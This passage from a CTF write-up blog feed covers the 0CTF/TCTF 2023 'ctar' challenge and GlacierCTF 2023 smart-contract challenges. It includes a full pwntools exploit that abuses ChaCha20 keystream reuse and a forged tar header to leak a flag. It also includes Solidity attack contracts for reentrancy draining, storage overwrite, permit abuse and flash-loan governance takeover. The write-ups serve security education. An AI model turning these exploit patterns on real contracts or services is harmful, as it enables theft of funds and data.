        name = os.urandom(4).hex()
        self.data[name] = 0
        self.savefile(name, flag)

    def handle(self):
        if not self.proof_of_work():
            return
        self.data = {}
        self.dir = tempfile.mkdtemp()
        os.chdir(self.dir)
        signal.alarm(120)
        self.request.sendall(b&quot;*** Welcome to ctar service ***\nUpload and archive your secrets with our super fancy homemade secure tar file format. You'll like it\nNotice: the file size is limited in your free trial\n&quot;)
        while True:
            try:
                self.request.sendall(b&quot;1. add your secret\n2. upload ctar file\n3. read secrets\n4. download ctar file\n0. add flag\n&amp;gt; &quot;)
                i = self.recvint()
                if i==1:
                    self.addsec()
                elif i==2:
                    self.upload()
                elif i==3:
                    self.readsec()
                elif i==4:
                    self.download()
                elif i==0:
                    self.addflag()
                else:
                    break
            except:
                pass
        os.system(f&quot;rm -r {self.dir}&quot;)
        self.request.close()

class ForkedServer(socketserver.ForkingTCPServer, socketserver.TCPServer):
    pass

if __name__ == &quot;__main__&quot;:
    HOST, PORT = '0.0.0.0', 10001
    server = ForkedServer((HOST, PORT), Task)
    server.allow_reuse_address = True
    server.serve_forever()&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;analysis&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;We can upload any data as long as its length is less than 100, and then re-download the data encrypted with chacha20.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Since download() returns the encrypted data along with the nonce used in chacha20, we can decrypt the downloaded data by using upload() with the nonce.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;211&quot; data-origin-height=&quot;77&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/kAKnX/btsBQYEi3mP/EtoCI7y6JVFMNiois51miK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/kAKnX/btsBQYEi3mP/EtoCI7y6JVFMNiois51miK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/kAKnX/btsBQYEi3mP/EtoCI7y6JVFMNiois51miK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FkAKnX%2FbtsBQYEi3mP%2FEtoCI7y6JVFMNiois51miK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;211&quot; height=&quot;77&quot; data-origin-width=&quot;211&quot; data-origin-height=&quot;77&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Additionally, we can observe the result of the decryption process using one-byte error&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;551&quot; data-origin-height=&quot;97&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/curSlE/btsBRP1qnQA/mxDeLEOjAIUKkjL6tyfW20/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/curSlE/btsBRP1qnQA/mxDeLEOjAIUKkjL6tyfW20/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/curSlE/btsBRP1qnQA/mxDeLEOjAIUKkjL6tyfW20/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcurSlE%2FbtsBRP1qnQA%2FmxDeLEOjAIUKkjL6tyfW20%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;551&quot; height=&quot;97&quot; data-origin-width=&quot;551&quot; data-origin-height=&quot;97&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;After calling addflag(), download() does not provide us with nonce to be used in upload().&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;This means we cannot decrypt the output of&amp;nbsp;download().&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;251&quot; data-origin-height=&quot;79&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cwNtt6/btsBKhq8JXO/uXKmFOCjaUBMHsSzVIVXt0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cwNtt6/btsBKhq8JXO/uXKmFOCjaUBMHsSzVIVXt0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cwNtt6/btsBKhq8JXO/uXKmFOCjaUBMHsSzVIVXt0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcwNtt6%2FbtsBKhq8JXO%2FuXKmFOCjaUBMHsSzVIVXt0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;251&quot; height=&quot;79&quot; data-origin-width=&quot;251&quot; data-origin-height=&quot;79&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;270&quot; data-origin-height=&quot;98&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/chqfX4/btsBQvI7MXg/ZfLJYwdoNirKEfCZsxAYDK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/chqfX4/btsBQvI7MXg/ZfLJYwdoNirKEfCZsxAYDK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/chqfX4/btsBQvI7MXg/ZfLJYwdoNirKEfCZsxAYDK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FchqfX4%2FbtsBQvI7MXg%2FZfLJYwdoNirKEfCZsxAYDK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;270&quot; height=&quot;98&quot; data-origin-width=&quot;270&quot; data-origin-height=&quot;98&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;211&quot; data-origin-height=&quot;77&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/kAKnX/btsBQYEi3mP/EtoCI7y6JVFMNiois51miK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/kAKnX/btsBQYEi3mP/EtoCI7y6JVFMNiois51miK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/kAKnX/btsBQYEi3mP/EtoCI7y6JVFMNiois51miK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FkAKnX%2FbtsBQYEi3mP%2FEtoCI7y6JVFMNiois51miK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;211&quot; height=&quot;77&quot; data-origin-width=&quot;211&quot; data-origin-height=&quot;77&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;cause&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;269&quot; data-origin-height=&quot;72&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dDNV9e/btsBJbdmMuU/URNjBoSz9y6PhYfS8FZaPk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dDNV9e/btsBJbdmMuU/URNjBoSz9y6PhYfS8FZaPk/img.png&quot; data-alt=&quot;upload()&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dDNV9e/btsBJbdmMuU/URNjBoSz9y6PhYfS8FZaPk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdDNV9e%2FbtsBJbdmMuU%2FURNjBoSz9y6PhYfS8FZaPk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;269&quot; height=&quot;72&quot; data-origin-width=&quot;269&quot; data-origin-height=&quot;72&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;upload()&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Since&amp;nbsp;we&amp;nbsp;know&amp;nbsp;the&amp;nbsp;filename&amp;nbsp;of&amp;nbsp;the&amp;nbsp;flag&amp;nbsp;file,&amp;nbsp;if&amp;nbsp;we&amp;nbsp;include&amp;nbsp;the&amp;nbsp;flag_filename&amp;nbsp;in&amp;nbsp;a.tar,&amp;nbsp;it&amp;nbsp;becomes&amp;nbsp;'self.data=1'.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;But, the flag file will be overwritten with the content of a.tar, which is different from the original flag, during decompression.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;265&quot; data-origin-height=&quot;418&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Zp9kj/btsBMQUk5Ga/pHiluXnifQs0dTs20N8BC1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Zp9kj/btsBMQUk5Ga/pHiluXnifQs0dTs20N8BC1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Zp9kj/btsBMQUk5Ga/pHiluXnifQs0dTs20N8BC1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FZp9kj%2FbtsBMQUk5Ga%2FpHiluXnifQs0dTs20N8BC1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;265&quot; height=&quot;418&quot; data-origin-width=&quot;265&quot; data-origin-height=&quot;418&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;However,&amp;nbsp;overwriting&amp;nbsp;can&amp;nbsp;be&amp;nbsp;prevented&amp;nbsp;by&amp;nbsp;triggering&amp;nbsp;an&amp;nbsp;error&amp;nbsp;within&amp;nbsp;the&amp;nbsp;extractall()&amp;nbsp;function,&amp;nbsp;as&amp;nbsp;it&amp;nbsp;is&amp;nbsp;enclosed&amp;nbsp;within&amp;nbsp;a&amp;nbsp;try-except&amp;nbsp;statement.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;solve&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. addsec()&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. download()&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3. addflag()&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;4. modify the filename in a.tar&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;5. generate an error by changing the mode and typeflag&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;6. calculate a checksum for .tar and then modify the checksum field.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;7. upload() with that file&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;8. download() includes the flag&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;9. upload() to see the decrypt output&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;An&amp;nbsp;error&amp;nbsp;occurred&amp;nbsp;when&amp;nbsp;the&amp;nbsp;mode&amp;nbsp;was&amp;nbsp;set&amp;nbsp;to&amp;nbsp;0777&amp;nbsp;and&amp;nbsp;the&amp;nbsp;type&amp;nbsp;flag&amp;nbsp;was&amp;nbsp;set&amp;nbsp;to&amp;nbsp;3&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;398&quot; data-origin-height=&quot;41&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/baqnqH/btsBQtkff0z/uPJ7dkNPKngk9Cr66Z3K90/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/baqnqH/btsBQtkff0z/uPJ7dkNPKngk9Cr66Z3K90/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/baqnqH/btsBQtkff0z/uPJ7dkNPKngk9Cr66Z3K90/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbaqnqH%2FbtsBQtkff0z%2FuPJ7dkNPKngk9Cr66Z3K90%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;398&quot; height=&quot;41&quot; data-origin-width=&quot;398&quot; data-origin-height=&quot;41&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1702290982251&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;from pwn import *
from hashlib import sha256

r = remote(&quot;chall.ctf.0ops.sjtu.cn&quot;, &quot;30001&quot;)


''' POW '''
r.recvuntil(b'XXXX+')
suffix=r.recvuntil(b') == ').decode().split(')')[0]
sha=r.recvline()[:-1].decode()

print(suffix,sha)

alphabet=&quot;0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz&quot;
def pow():
    for a1 in alphabet:
        for a2 in alphabet:
            for a3 in alphabet:
                for a4 in alphabet:
                    proof=a1+a2+a3+a4+suffix
                    if(sha256(proof.encode('latin-1')).hexdigest()==sha):
                        print('[+]pow found')
                        r.sendline((a1+a2+a3+a4).encode())
                        return
pow()
''''''


'''addsec()'''
r.sendlineafter(&quot;&amp;gt; &quot;, &quot;1&quot;)
r.sendlineafter(&quot;size: &quot;, &quot;3&quot;)
r.sendlineafter(&quot;file(hex): &quot;, &quot;aabbcc&quot;)
''''''


'''download()'''
r.sendlineafter(&quot;&amp;gt; &quot;, &quot;4&quot;)

r.recvuntil(&quot;ctar file size: &quot;)
siz = r.recvline()[:-1]
dat = r.recvline()[:-1]



'''get a original file using upload()'''
r.sendlineafter(&quot;&amp;gt; &quot;, &quot;2&quot;)
r.sendlineafter(&quot;size: &quot;, siz)
r.sendlineafter(&quot;file(hex): &quot;, dat[:16] + b&quot;00&quot; + dat[18:])
r.recvuntil(&quot;[Error] not tar file\n&quot;)

server_tar = r.recvline()[:-1].decode()
server_tar = &quot;2E&quot; + server_tar[2:]

stream = []
for i in range(len(dat[16:])//2):
    stream.append(int(server_tar[2*i:2*i+2], 16) ^ int(dat[16+2*i:16+2*i+2], 16))



'''addflag()'''
r.sendlineafter(&quot;&amp;gt; &quot;, &quot;0&quot;)
flagfile_name = r.recvline()[:-1].split(b' ')[1]
assert len(flagfile_name) == 8
''''''



'''modify a.tar'''
data = bytes.fromhex(server_tar)
our_data = data[0x400:0x400+0x1f4]

# filename
our_data = flagfile_name + our_data[8:]
# mode
our_data = our_data[:100] + b&quot;0000777\x00&quot; + our_data[100+8:]
# typeflag
our_data = our_data[:156] + b&quot;3&quot; + our_data[156+1:]
''''''


'''calc checksum'''
chk_data = our_data[:148] + b&quot; &quot; * 8 + our_data[148+8:]
checksum = 0

for i in range(len(our_data)):
    checksum += chk_data[i]

# final
our_data = our_data[:148] + bytes(&quot;%06o\0&quot; % checksum, &quot;ascii&quot;) + b&quot;\x20&quot; + our_data[148+8:]
attack_tar = data[:0x400] + our_data + data[0x400+0x1f4:]
''''''




'''upload()'''
r.sendlineafter(&quot;&amp;gt; &quot;, &quot;2&quot;)
r.sendlineafter(&quot;size: &quot;, siz)

payload = []
for i in range(len(stream)):
    payload.append(stream[i] ^ attack_tar[i])
r.sendlineafter(&quot;file(hex): &quot;, dat[:16] + bytes(payload).hex().encode('latin-1'))



'''download()'''
r.sendlineafter(&quot;&amp;gt; &quot;, &quot;4&quot;)
r.recvuntil(&quot;ctar file size: &quot;)
siz = r.recvline()[:-1]
dat = r.recvline()[:-1]



'''upload()'''
r.sendlineafter(&quot;&amp;gt; &quot;, &quot;2&quot;)
r.sendlineafter(&quot;size: &quot;, siz)
r.sendlineafter(&quot;file(hex): &quot;, dat[:16] + b&quot;00&quot; + dat[18:])
r.recvuntil(&quot;[Error] not tar file\n&quot;)
flag = bytes.fromhex(r.recvline()[:-1].decode())
for i in range(len(flag)):
    if b&quot;flag&quot; == flag[i:i+4]:
        print(flag[i:i+100])
r.interactive()&lt;/code&gt;&lt;/pre&gt;</description>
      <category>writeups</category>
      <author>gss1</author>
      <guid isPermaLink="true">https://gss1.tistory.com/176</guid>
      <comments>https://gss1.tistory.com/entry/0CTFTCTF-2023-miscctar#entry176comment</comments>
      <pubDate>Mon, 11 Dec 2023 19:37:19 +0900</pubDate>
    </item>
    <item>
      <title>GlacierCTF 2023 - smartcontract</title>
      <link>https://gss1.tistory.com/entry/GlacierCTF-2023-smartcontract</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Thank you to the author for making the interesting challenges.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;GlacierCoin&lt;/h3&gt;
&lt;pre id=&quot;code_1701004567900&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;pragma solidity ^0.8.18;

import &quot;./Setup.sol&quot;;
import &quot;./Challenge.sol&quot;;

contract Attack {
    GlacierCoin public challenge = GlacierCoin(0x0EF6D6942F37278bFC2C72152Ef17ec5687dddC8);

    constructor() {
    }

    function attack() public payable {
        challenge.buy{value: 10 ether}();
        challenge.sell(10 ether);
    }

    receive() payable external {
        if(address(challenge).balance != 0) challenge.sell(10 ether);
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;GlacierVault&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1701004689867&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;pragma solidity ^0.8.18;

import &quot;./GlacierVault.sol&quot;;
import &quot;./Guardian.sol&quot;;

contract Attack {
    address public t = 0x4595E89043b7F236a799356D0CE0A8be2010a5Dd;

    function attack() public payable{
        t.call{value: 1337}(abi.encodeWithSignature(&quot;quickStore(uint8,uint256)&quot;, 0, uint160(address(this))));
        Guardian(payable(t)).putToSleep();
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;ChairLift&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1701004738285&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;pragma solidity ^0.8.0;

import &quot;./Ticket.sol&quot;;
import &quot;./ChairLift.sol&quot;;

contract Attack {

    Ticket public ticket = Ticket(0x260fFe2ca289897508422696A8285324DBA91D2B);
    ChairLift public chairLift = ChairLift(0xFC9f5Fb76C297f8E7A6e39Ac2953A59690878173);
    
    function attack () public {
        ticket.transferWithPermit(address(0), address(this), 13, block.timestamp, 28, 0x0, 0x0);
        chairLift.takeRide(13);
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;The&amp;nbsp;Council&amp;nbsp;of&amp;nbsp;Apes&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1701004794650&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;pragma solidity ^0.8.20;

import &quot;./IcyExchange.sol&quot;;
import &quot;./CouncilOfApes.sol&quot;;
import &quot;./TotallyNotCopiedToken.sol&quot;;
import &quot;./ERC20.sol&quot;;
import &quot;./IERC20.sol&quot;;

contract MyToken is ERC20 {
    constructor() ERC20(&quot;name&quot;, &quot;symbol&quot;) {
        _mint(msg.sender, 100_000_000);
    }
}

contract Attack {
    
    IcyExchange public icyExchange = IcyExchange(0xb29ab9e67f0B7D85922f297f1e38517968481E43);
    CouncilOfApes public council = CouncilOfApes(0x9Ee6Da4758ed65212a72aCCD71B6d223e2610b2E);
    IERC20 public icyToken = IERC20(0x7751a7E59455945ffC9D2d4F19188c07E5Fcf2b7);
    MyToken[] public tokens = new MyToken[](11);

    constructor() payable {}

    uint public cnt = 0;

    function attack() public payable {
        council.becomeAnApe(keccak256(&quot;I hereby swear to ape into every shitcoin I see, to never sell, to never surrender, to never give up, to never stop buying, to never stop hodling, to never stop aping, to never stop believing, to never stop dreaming, to never stop hoping, to never stop loving, to never stop living, to never stop breathing&quot;));

        for(uint i = 0; i &amp;lt; 11; i++) {
            tokens[i] = new MyToken();
            tokens[i].approve(address(icyExchange), type(uint256).max);
            tokens[i].approve(address(council), type(uint256).max);

            icyExchange.createPool{value: 1 ether}(address(tokens[i]));
        }
    
        icyToken.approve(address(icyExchange), type(uint256).max);

        cnt++;
        icyExchange.collateralizedFlashloan(address(tokens[cnt-1]), 100_000_000 - 100_000, address(this));
    }

    function receiveFlashLoan(uint256 amount) public {
        cnt++;
        if (cnt &amp;lt;= 11) {
            icyExchange.collateralizedFlashloan(address(tokens[cnt-1]), 100_000_000 - 100_000, address(this));
        }
        else {
            icyToken.approve(address(council), type(uint256).max);
            council.buyBanana(1_000_000_000);
            council.vote(address(this), 1_000_000_000);
            council.claimNewRank();
            council.issueBanana(1_000_000_000, address(this));
            council.sellBanana(1_000_000_000);
            council.dissolveCouncilOfTheApes(keccak256(&quot;Kevin come out of the basement, dinner is ready.&quot;));
        }
    }
}&lt;/code&gt;&lt;/pre&gt;</description>
      <category>writeups</category>
      <author>gss1</author>
      <guid isPermaLink="true">https://gss1.tistory.com/175</guid>
      <comments>https://gss1.tistory.com/entry/GlacierCTF-2023-smartcontract#entry175comment</comments>
      <pubDate>Sun, 26 Nov 2023 22:22:45 +0900</pubDate>
    </item>
    <item>
      <title>N1CTF 2023 - blockchain(pool by sec3)</title>
      <link>https://gss1.tistory.com/entry/N1CTF-2023-blockchainpool-by-sec3</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;I decided to cool off my head during the midterm exam period by trying out the blockchain challenge in N1CTF.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://github.com/kangsangsoo/CTF-Writeups/tree/main/N1CTF%202023/pool%20by%20sec3&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://github.com/kangsangsoo/CTF-Writeups/tree/main/N1CTF%202023/pool%20by%20sec3&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;pool by sec3&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;analysis&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;I expected a vulnerability by the absence of validation since this code was written in native, not anchor.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;but I was surprised to find it solid.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;This code is just the implementation of a staking pool.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;So our accessible strategy is to deposit SOL and then withdraw the token with the aim of receiving more SOL.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1698033057767&quot; class=&quot;rs rust&quot; data-ke-language=&quot;rs&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;// Fund the deposit record account
